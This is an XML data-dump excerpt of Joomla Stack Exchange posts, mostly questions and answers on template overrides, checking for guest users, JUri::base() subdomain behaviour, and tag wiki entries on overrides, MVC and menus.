  <row Id="3904" PostTypeId="4" CreationDate="2014-08-06T12:59:34.800" Score="0" Body="JavaScript is a dynamically-typed language commonly used for client-side scripting. Unless a tag for a framework/library is also included, a pure JavaScript answer is expected." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-06T14:17:49.457" LastActivityDate="2014-08-06T14:17:49.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3905" PostTypeId="2" ParentId="2496" CreationDate="2014-08-06T13:58:48.393" Score="4" Body="&lt;p&gt;In the template override file /html/mod_articles_categories/default_items.php I added the code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo $item-&amp;gt;getParams()-&amp;gt;get('image') ?&amp;gt;&quot; width=&quot;40&quot; height=&quot;40&quot; border=&quot;0&quot;/&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;just after this line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($item-&amp;gt;id)); ?&amp;gt;&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That did the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offcourse the category image has to be set for each category shown, otherwise no image will display.&lt;/p&gt;&#xA;" OwnerUserId="1607" LastActivityDate="2014-08-06T13:58:48.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3906" PostTypeId="1" CreationDate="2014-08-06T13:59:57.983" Score="3" ViewCount="66" Body="&lt;p&gt;I'm trying to find some possible solutions to manage multiple Joomla sites through one administration panel, but couldn't find anything relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know if it is possible in Joomla 3.x? And if yes could somebody provide any possible solution, preferably non-commercial?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="1746" LastEditorUserId="1629" LastEditDate="2014-08-06T17:48:49.600" LastActivityDate="2014-08-21T08:18:56.397" Title="Joomla - one admin panel for multiple sites" Tags="|administrator|" AnswerCount="0" CommentCount="2" ClosedDate="2014-08-07T07:21:58.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="3908" PostTypeId="1" AcceptedAnswerId="3909" CreationDate="2014-08-06T17:04:55.700" Score="3" ViewCount="341" Body="&lt;p&gt;How can I execute a different code in my plugin depending on if the user is logged in or not in Joomla? Basically I want to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (loggedin) {&#xA;   // Do something &#xA;}&#xA;else {&#xA;   // Do something else &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-08-07T11:38:33.900" Title="How can I diferentiate between guests and members?" Tags="|php|cms|user-groups|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3909" PostTypeId="2" ParentId="3908" CreationDate="2014-08-06T17:13:36.240" Score="5" Body="&lt;p&gt;I usually do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$user = JFactory::getUser();&#xA;if ($user-&amp;gt;guest) {&#xA;    // User is not logged in&#xA;        } else {      &#xA;    //User is logged in&#xA;        }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;http://docs.joomla.org/JFactory/getUser&quot;&gt;Joomla Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-06T17:13:36.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3910" PostTypeId="2" ParentId="3908" CreationDate="2014-08-06T17:25:08.000" Score="5" Body="&lt;p&gt;You can either use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;if($user-&amp;gt;id != 0)&#xA;{&#xA;    // you are a member&#xA;}&#xA;else &#xA;{&#xA;    // you are a guest&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;if($user-&amp;gt;guest)&#xA;{&#xA;    // you are a guest&#xA;}&#xA;else &#xA;{&#xA;    // you are a member&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bother are the same with most likely nano seconds in performance, in regards to speed.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-06T17:25:08.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3911" PostTypeId="2" ParentId="3894" CreationDate="2014-08-06T18:54:59.127" Score="2" Body="&lt;p&gt;I ended up using an extension to do what I wanted. It has worked like a charm. I still feel like I'm missing something obvious in the core Joomla abilities, but I have been reading and working on this for two days, so if an extension gets it done, ah well!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/authoring-a-content/content-submission/user-article-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/authoring-a-content/content-submission/user-article-manager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;em&gt;This extension was reported as vulverable, therefore it has been removed from JED&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1742" LastEditorUserId="168" LastEditDate="2018-03-21T10:03:49.877" LastActivityDate="2018-03-21T10:03:49.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3912" PostTypeId="1" AcceptedAnswerId="3914" CreationDate="2014-08-06T22:52:15.813" Score="7" ViewCount="1591" Body="&lt;p&gt;There is a chance this is a bug, but I am pretty sure I must be overlooking something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically &lt;code&gt;JUri::base()&lt;/code&gt; is removing the subdomain path, this is in siteground with its Joomla staging enviroments, so the domain it should be getting is &lt;code&gt;http://staging1.domain.com&lt;/code&gt; but instead it gets &lt;code&gt;http://domain.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested &lt;code&gt;JUri::base()&lt;/code&gt; in the template file, and it worked correctly, but in the custom component built for the site it does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it is being used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tmpFileName = md5($id.$Itemid.time()).'.pdf';&#xA;file_put_contents(&#xA;  JPATH_SITE.'/tmp/'.$tmpFileName,&#xA;  file_get_contents(&#xA;    JUri::base()&#xA;    .'index.php?option=com_component&amp;amp;view=finish&amp;amp;format=pdf&amp;amp;tmpl=component&amp;amp;data='&#xA;      .$id&#xA;      .'&amp;amp;Itemid='&#xA;      .$Itemid&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What the above code does is opens a generated pdf file (a pdf view) saves it to the tmp directory, then later in the script includes it as an attachment (deleting it afterwords).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If in this area i add &lt;code&gt;JUri::base()&lt;/code&gt; to the email (so I can see what it is according to the email sent) it strips the subdomain, I have confirmed that the redirection to the controller that does this function is correct, but the reason the url comes out improper in only this function eludes me (&lt;code&gt;JRoute&lt;/code&gt; works fine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot use &lt;code&gt;JUri::base(true)&lt;/code&gt; as it is the server attempting to get the contents of the file, so without the url it cannot get the file correctly. Also I have checked for the &lt;code&gt;$live_site&lt;/code&gt; variable in the configuration.php file and confirmed it is not a factor in this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely its something stupid I am overlooking, most likely right in front of my face and I will update the question with any findings as I go. So is there there anything that could cause this? Or has anyone ran into something similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version is 3.3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dived deeper and here are my findings.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I was wrong on thinking it was &lt;code&gt;JUri::base()&lt;/code&gt; completely, although I had seen that it was getting the wrong variable now I see no evidence of it, although the result is the same, it is getting information from the live site and not the staging site.&lt;/li&gt;&#xA;&lt;li&gt;I tested the execution of all the code and check the pdf generated when I go directly to the url that it generates, it creates the PDF perfectly, yet when done with the &lt;code&gt;file_get_contents&lt;/code&gt; function it does something totally and completely different (grabs a pdf from the wrong url, even though the url seems to be correct and testing it worked).&lt;/li&gt;&#xA;&lt;li&gt;I noticed I used an htpasswd on the site, and since the &lt;code&gt;file_get_contents&lt;/code&gt; function goes to the url from the server itself it needs to authenticate, so there was no way a pdf should of been generated in this staging enviroment in the first place. This confirms that the pdf is being generated from the live site that has no htpasswd.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-08-07T17:20:45.580" LastActivityDate="2014-08-07T17:20:45.580" Title="JUri::base() issue, losing subdomain" Tags="|component|development|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3914" PostTypeId="2" ParentId="3912" CreationDate="2014-08-07T07:27:57.933" Score="4" Body="&lt;p&gt;I'm guessing that you have the &quot;live_site&quot; defined in your configuration file. In looking at the code for &lt;code&gt;Juri::base()&lt;/code&gt; there is this if statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (trim($live_site) != '')&#xA;{&#xA;    // build base url from the live_site setting&#xA;    ...&#xA;}&#xA;else&#xA;{&#xA;    // build base url from current scheme, host, and port&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if you have &quot;live_site&quot; set in your configuration, it appears that the system may use that instead of your current url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I've never actually seen this issue personally, so this could also be way off, but it looks promising.)&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-08-07T07:27:57.933" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3915" PostTypeId="2" ParentId="3908" CreationDate="2014-08-07T11:38:33.900" Score="4" Body="&lt;p&gt;Besides the direct programmatic method to conditionally show different contents (JFactory::getUser()-&gt;guest), there's an alternative to create a &lt;strong&gt;Guest group&lt;/strong&gt; to identify this specific set of users; in this way, the content can be managed either at the CMS level with the regular administrative tools or in a plugin with Access Control List controls:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do you hide something from logged in users?&lt;/strong&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/How_do_you_hide_something_from_logged_in_users%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/How_do_you_hide_something_from_logged_in_users%3F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vcven.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Associated routine to check if the user belongs to the &lt;strong&gt;Guest group&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$groups = JAccess::getGroupsByUser(user-&amp;gt;id, false);&#xA;if (in_array(MY_GUEST_GROUP, $groups))&#xA;{&#xA;   echo 'Only visible for guests';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-08-07T11:38:33.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3916" PostTypeId="2" ParentId="1025" CreationDate="2014-08-07T12:55:48.353" Score="2" Body="&lt;p&gt;In chronoforms 5 in the load html action options you can specify an action url which will replace the standard action.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2014-08-07T12:55:48.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3917" PostTypeId="2" ParentId="3884" CreationDate="2014-08-07T13:17:13.540" Score="1" Body="&lt;p&gt;There can be more than one ways to achieve something like this, but many of them might require a bit of extra work and programming experience (custom menu items, template overrides or alternative layouts). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brian's answer seems like the easiest and a straight-forward way for your case.&#xA;You can populate a single article that you will dedicate for this page, with all kinds of the modules you are going to need and adjust them to fit your requirements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can load a module with the &lt;a href=&quot;http://www.google.com/search?client=safari&amp;amp;rls=en&amp;amp;q=joomla%20loadposition&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;loadposition&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;{loadposition myposition}&lt;/strong&gt;, by publishing the core loadposition plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the most flexible modules that allows great flexibility when it comes to display articles from one or more categories, is the &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/articles-display/frontend-news/11399&quot; rel=&quot;nofollow&quot;&gt;RAXO all-mode&lt;/a&gt; module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it is a paid download, I recommend this module for one more reason. It is a great piece of module software with clean code, which can help you learn a lot about Joomla modules and web development, if you decide to dig deeper and make changes to its code.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-08-07T13:17:13.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3918" PostTypeId="1" AcceptedAnswerId="4220" CreationDate="2014-08-07T15:52:14.867" Score="-2" ViewCount="90" Body="&lt;p&gt;Let me rephrase my question since we got on the wrong foot here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was there any effort to make HTML5 overrides for Joomla so that only absolutely necessary HTML is outputed to present all Joomla features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are additional &lt;code&gt;DIV&lt;/code&gt;s which only purpose is to provide semantic attributes while same thing can be achieved by using HTML5 specified tags with much less markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, one other thing. Most of default module chrome options don't support all possible module settings like custom title tag (h3 is hard coded), bootstrap column span option etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to make my own chrome overrides to enable all this settings. It seems like a waste to not use all of the settings available in the administration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot of bit's and pieces that stand with no purpose at all (especially in the stock modules), and I can't collect them all in this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, is there some kind of Joomla HTML5 boilerplate that keeps markup absolutely minimal and clean?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's much easier to add what you need than to go through all the messy code and removing unnecessary markup that sometimes spans through several &lt;code&gt;if else&lt;/code&gt;statements.&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="1751" LastEditDate="2014-08-09T15:37:27.860" LastActivityDate="2014-08-26T19:49:42.100" Title="Are there any &quot;cleaned up&quot; overrides for stock components and modules?" Tags="|component|module|templates|overrides|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3919" PostTypeId="5" CreationDate="2014-08-07T16:09:55.623" Score="0" Body="&lt;h1&gt;Overrides&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;An override is a file in Joomla specified overrides directories, that is loaded instead of the normal core Joomla file. This is done in order to change the layout, or functions of certain parts of Joomla, without changing the core files, because these are updated and overwritten whenever Joomla is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overrides can be done on Components, Modules, Languages etc. If extension uses the MVC (model-view-controller) layout then you can use template overriding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Layout overrides only work within the active template and are located under the /html/ directory in the template. The layout overrides must be placed in particular folder structure within the /html/ folder in order to work: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates&#xA;  /YOURTEMPLATE&#xA;        /html&#xA;          /com_content  (this directory matches the component/module directory name)&#xA;                /articles        (this directory matches the view directory name)&#xA;                  default.php (this file matches the layout file name)&#xA;                  form.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Joomla 3.x, overrides can be created automatically from the template manager. In earlier versions, the file to be overwritten has to be copied manually to the corresponding folder within your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Links about Joomla Overrides&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Layout Overrides in Joomla.&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to override the output of Joomla core&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2016-07-02T13:28:07.830" LastActivityDate="2016-07-02T13:28:07.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3920" PostTypeId="4" CreationDate="2014-08-07T16:09:55.623" Score="0" Body="An override is a file in the Joomla template directory that is loaded instead of the normal core Joomla file." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:43:22.697" LastActivityDate="2014-08-07T18:43:22.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3921" PostTypeId="5" CreationDate="2014-08-07T16:15:07.230" Score="0" Body="&lt;h1&gt;Template Override&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;An override is a file in your Joomla template directory that is loaded instead of the normal core Joomla file. This is done in order to change the layout or functions of certain parts of Joomla, without changing the core files, because these are updated and overwritten whenever Joomla is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overrides can be done on Components, Modules, Languages etc. If extension uses the MVC (model-view-controller) layout then you can use template overriding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Layout overrides only work within the active template and are located under the /html/ directory in the template. The layout overrides must be placed in particular folder structure within the /html/ folder in order to work: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates&#xA;  /YOURTEMPLATE&#xA;        /html&#xA;          /com_content  (this directory matches the component/module directory name)&#xA;                /articles        (this directory matches the view directory name)&#xA;                  default.php (this file matches the layout file name)&#xA;                  form.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Joomla 3.x, overrides can be created automatically from the template manager. In earlier versions, the file to be overwritten has to be copied manually to the corresponding folder within your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional information on template overrides can be found at &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Links about Joomla Overrides&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Layout Overrides in Joomla.&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to override the output of Joomla core&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2016-07-02T13:27:02.277" LastActivityDate="2016-07-02T13:27:02.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3922" PostTypeId="4" CreationDate="2014-08-07T16:15:07.230" Score="0" Body="A Template Override is a file in your Joomla template directory that is loaded instead of the normal core Joomla file. This is done in order to change the layout or functions of certain parts of Joomla, without changing the core files, because these are updated and overwritten whenever Joomla is updated." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:44:00.530" LastActivityDate="2014-08-07T18:44:00.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3923" PostTypeId="5" CreationDate="2014-08-07T16:22:56.590" Score="0" Body="&lt;h1&gt;MVC: Model-View-Controller&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;MVC stands for Model-View-Controller. It divides a given software application into three interconnected parts, so as to separate internal representations of information from the ways that information is presented to or accepted from the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Model-View-Controller (MVC) pattern organizes and separates software into three distinct roles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;strong&gt;Model&lt;/strong&gt; encapsulates your application data, application flow, and business logic.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;View&lt;/strong&gt; extracts data from the Model and format it for presentation&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;Controller&lt;/strong&gt; direct application flow and receive input and translates it for the Model and View.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The main thing to remember here is that extensions (mostly components) can have multiple views, and each view can have one or more layouts. Each view assembles a fixed set of information, but each layout can display that information in different ways. For example, the Category view in the Articles component assembles a number of articles. These articles could be displayed in a list or in a table (and probably other ways as well). So this view may have a &quot;list&quot; layout and a &quot;table&quot; layout to choose from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules, on the other hand, are very simple. They generally display one thing one way. Modules don't really have views but they do support a layout. Some developers might even support a choice of layout through module parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More info:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Model-View-Controller&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Joomla MVC&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Joomla Developing MVC Component&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Wikipedia: Model-view-controller&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T16:00:41.857" LastActivityDate="2015-08-21T16:00:41.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3924" PostTypeId="4" CreationDate="2014-08-07T16:22:56.590" Score="0" Body="MVC stands for Model-View-Controller. It divides a given software application into three interconnected parts, so as to separate internal representations of information from the ways that information is presented to or accepted from the user." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:44:12.043" LastActivityDate="2014-08-07T18:44:12.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3925" PostTypeId="5" CreationDate="2014-08-07T16:43:07.437" Score="0" Body="&lt;p&gt;The Joomla! Framework™ is a new PHP framework (a collection of software libraries/packages) for writing web and command line applications in PHP, without the features and corresponding overhead found in the Joomla! Content Management System (CMS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The differences between the Joomla Framework and Joomla CMS is explained in &lt;a href=&quot;http://joomla.stackexchange.com/a/12/1629&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla! Framework is free and open source software, distributed under the GNU General Public License version 2 or later; and is comprised of code originally developed for the Joomla! CMS™.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla! Framework should not be confused with the hugely popular Joomla! CMS. It is important to remember that you do not need to install the Joomla! Framework to use the CMS, nor do you need to install the Joomla! CMS to use the Framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla! Framework can be downloaded from &lt;a href=&quot;http://framework.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;http://framework.joomla.org/&lt;/a&gt;. This site also contains important information on how to implement the Joomla! Framework. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:42:48.673" LastActivityDate="2014-08-07T18:42:48.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3926" PostTypeId="4" CreationDate="2014-08-07T16:43:07.437" Score="0" Body="(This tag is not for questions regarding the Joomla CMS that powers many sites.) The Joomla! Framework™ is a new PHP framework (a collection of software libraries/packages) for writing web and command line applications in PHP, without the features and corresponding overhead found in the Joomla! Content Management System (CMS)." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:34:39.297" LastActivityDate="2014-08-07T18:34:39.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3927" PostTypeId="5" CreationDate="2014-08-07T16:49:04.823" Score="0" Body="&lt;h1&gt;Menu&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In Joomla!, a &lt;a href=&quot;http://docs.joomla.org/Menu&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Menu&lt;/strong&gt;&lt;/a&gt; is a set of &lt;a href=&quot;http://docs.joomla.org/Adding_a_new_menu_item&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;menu items&lt;/strong&gt;&lt;/a&gt; used to create the website's navigation structure. Each menu item defines an URL to a page on your site, and it holds settings that control the content display of that page. &lt;a href=&quot;http://docs.joomla.org/Adding_a_new_menu&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Creating menus&lt;/strong&gt;&lt;/a&gt; is rather simple. With a new menu in place, you can start creating pages for the website, directly accessible from the navigation menu, by adding &lt;a href=&quot;http://docs.joomla.org/Adding_a_new_menu_item&quot; rel=&quot;nofollow&quot;&gt;new menu items&lt;/a&gt; in the menu. A website can have more than 1 menu. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Menu module&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A Menu isn't automatically shown on the site's front-end. In order to display a menu, you need to create a &lt;strong&gt;Menu Module&lt;/strong&gt; using the &lt;a href=&quot;http://docs.joomla.org/Help33:Extensions_Module_Manager&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;module manager&lt;/strong&gt;&lt;/a&gt; and instruct the module about which Menu to show. Subsequently, you can select where the module should appear on the site, by choosing one of the available &lt;a href=&quot;http://docs.joomla.org/Module_Position&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;module positions&lt;/strong&gt;&lt;/a&gt; of the active &lt;a href=&quot;http://docs.joomla.org/Getting_Started_with_Templates&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;template&lt;/strong&gt;&lt;/a&gt;, as well as, you have the option to display the menu in all, or some of the pages of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each menu can be shown by one or more modules (making it possible to show the same menu in different positions). It is also possible to create &lt;a href=&quot;http://docs.joomla.org/Split_menus&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Split menus&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hidden Menu&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A Menu that isn't shown by any module is commonly called a &lt;strong&gt;hidden menu&lt;/strong&gt;. Hidden menus can be used to create URLs that are not visible on any page.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:40:02.273" LastActivityDate="2015-08-21T15:40:02.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3928" PostTypeId="4" CreationDate="2014-08-07T16:49:04.823" Score="0" Body="In Joomla!, a Menu is a set of menu items used for website navigation. Each menu item defines an URL to a page on your site, and settings that control the contents(articles, category(ies) lists, tagged items, etc.) and style(module(s), layout) of that page." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-07T18:44:05.313" LastActivityDate="2014-08-07T18:44:05.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
